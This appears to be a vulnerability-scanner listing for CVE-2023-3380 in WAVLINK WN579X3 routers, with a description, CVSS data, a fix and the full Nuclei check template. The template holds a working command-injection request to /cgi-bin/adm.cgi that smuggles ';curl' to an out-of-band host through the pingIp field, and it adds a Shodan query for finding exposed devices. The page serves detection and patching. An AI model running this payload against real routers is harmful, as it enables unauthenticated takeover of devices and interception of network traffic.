WAVLINK WN579X3 - Remote Command Execution

criticalseverity

9.8CVSS score

3.9%likelihood of exploitation, next 30 days

90%of all CVEs are less likely

Readycheck to confirm it

Remote Command Execution vulnerability in WAVLINK WN579X3 routers via pingIp parameter in /cgi-bin/adm.cgi.

Impact

Unauthenticated attackers can execute arbitrary commands through the pingIp parameter in the adm.cgi endpoint, potentially compromising the entire WAVLINK router and intercepting network traffic.

Fix

Update WAVLINK WN579X3 firmware to a patched version that properly sanitizes the pingIp parameter and prevents command injection in adm.cgi.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains "images/WAVLINK-logo.png" and "<title>Wi-Fi APP Login</title>"
Send: POST /cgi-bin/adm.cgi
Positive when: contains in interactsh_protocol "http" AND status 200

Run it with nuclei: nuclei -id CVE-2023-3380 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-3380

info:
  name: WAVLINK WN579X3 - Remote Command Execution
  author: pussycat0x
  severity: critical
  description: |
    Remote Command Execution vulnerability in WAVLINK WN579X3 routers via pingIp parameter in /cgi-bin/adm.cgi.
  impact: |
    Unauthenticated attackers can execute arbitrary commands through the pingIp parameter in the adm.cgi endpoint, potentially compromising the entire WAVLINK router and intercepting network traffic.
  remediation: |
    Update WAVLINK WN579X3 firmware to a patched version that properly sanitizes the pingIp parameter and prevents command injection in adm.cgi.
  reference:
    - https://github.com/sleepyvv/vul_report/blob/main/WAVLINK/WAVLINK-WN579X3-RCE.md
    - https://vuldb.com/?ctiid.232236
    - https://vuldb.com/?id.232236
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-3380
    cwe-id: CWE-74
    epss-score: 0.0388
    epss-percentile: 0.90309
    cpe: cpe:2.3:o:wavlink:wn579x3_firmware:*:*:*:*:*:*:*:*
  metadata:
    vendor: wavlink
    product: wn579x3_firmware
    shodan-query: http.html:"Wavlink"
  tags: cve,cve2023,wavlink,rce,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        words:
          - "images/WAVLINK-logo.png"
          - "<title>Wi-Fi APP Login</title>"
        condition: and
        internal: true

  - raw:
      - |
        POST /cgi-bin/adm.cgi HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{RootURL}}/ping.shtml

        page=ping_test&CCMD=4&pingIp=255.255.255.255%3Bcurl+http%3A%2F%2F{{interactsh-url}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from